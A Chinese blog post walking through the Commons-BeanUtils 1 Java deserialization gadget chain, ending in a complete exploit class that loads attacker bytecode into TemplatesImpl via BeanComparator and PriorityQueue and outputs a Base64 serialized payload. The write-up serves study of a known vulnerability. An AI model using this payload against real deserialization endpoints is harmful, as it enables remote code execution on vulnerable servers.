java 反序列化 cb1 复现

适用于common-BeanUtils版本1.9.2及以前.首先我们来看一看common-BeanUtils中提供的PropertyUtils.getProperty方法,这个方法是cb1链的核心.
Person.java

package CB;

public class Person {
    private String name;
    private int age;

    public Person(String name,int age){
        this.name = name;
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

Bean.java

package CB;

import org.apache.commons.beanutils.PropertyUtils;

public class Bean {
    public static void main(String[] args) throws Exception {
        Person person = new Person("cike_y",18);
        System.out.println(PropertyUtils.getProperty(person,"age"));
    }
}

可以看到,PropertyUtils.getProperty可以自动调用属性的私有方法来返回属性的值.个人理解是这种用法有利于去实现运行时多态而设计的.
cb1链是在cc2链的基础上去改的,因此可以对比着去看.

TemplatesImpl

首先来看这个getOutputProteries方法.

public synchronized Properties getOutputProperties() {
        try {
            return newTransformer().getOutputProperties();
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }

可以看到他调用了newTransformer方法,也就是我们之前找的TemplatesImpl的出口.

BeanComparator

类比cc2中使用的TransfromingComparator类的compare方法,我们来看这个类的compare方法.

public int compare(T o1, T o2) {
        if (this.property == null) {
            return this.internalCompare(o1, o2);
        } else {
            try {
                Object value1 = PropertyUtils.getProperty(o1, this.property);
                Object value2 = PropertyUtils.getProperty(o2, this.property);
                return this.internalCompare(value1, value2);
            } catch (IllegalAccessException var5) {
                IllegalAccessException iae = var5;
                throw new RuntimeException("IllegalAccessException: " + iae.toString());
            } catch (InvocationTargetException var6) {
                InvocationTargetException ite = var6;
                throw new RuntimeException("InvocationTargetException: " + ite.toString());
            } catch (NoSuchMethodException var7) {
                NoSuchMethodException nsme = var7;
                throw new RuntimeException("NoSuchMethodException: " + nsme.toString());
            }
        }
    }

这里调用了getProperty方法.所以如果我们设置o2是一个恶意的TemplatesImpl对象,而this.propertyoutputProperties,那么就可以衔接上cc2的结尾.那么如何调用这个compare方法呢,可以继续使用cc2的老办法,使用PriorityQueue去实现.

PriorityQueue

private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }

还记得我们的cc2中分析过,这个compare方法传递给o2的是queue这个列表的第一个参数.在cc2中我们将这个参数设置为TrAXFilter.class,而在这里我们将其设为恶意的TemplatesImpl实例就行.因此得到了exp如下.

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;

public class Main {
    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cb1\\target\\classes\\org\\example\\Test.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "test");
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator beanComparator = new BeanComparator();
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(beanComparator);

        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(queue, "size", 2);
        setFieldValue(queue, "queue", new Object[]{templates, null});

        serialize(queue);
        unserialize("ser.bin");
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos2 = new ObjectOutputStream(bos);
        oos2.writeObject(obj);
        byte[] buf = bos.toByteArray();
        System.out.println(Base64.getEncoder().encodeToString(buf));
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

总结得出利用链:

Gadget chain:
PriorityQueue.readObject()
    PriorityQueue.heapify()  
        PriorityQueue.siftDown()
            PriorityQueue.siftDownUsingComparator()
                BeanComparator.compare()
                    TemplatesImpl.getOutputProperties()
                        TemplatesImpl.newTransformer()
                            TemplatesImpl.getTransletInstance()
                                TemplatesImpl.defineTransletClasses()
                                    TemplatesImpl.defineClass()
posted @ 2025-01-15 15:19  colorfullbz  阅读(70)  评论(0)    收藏  举报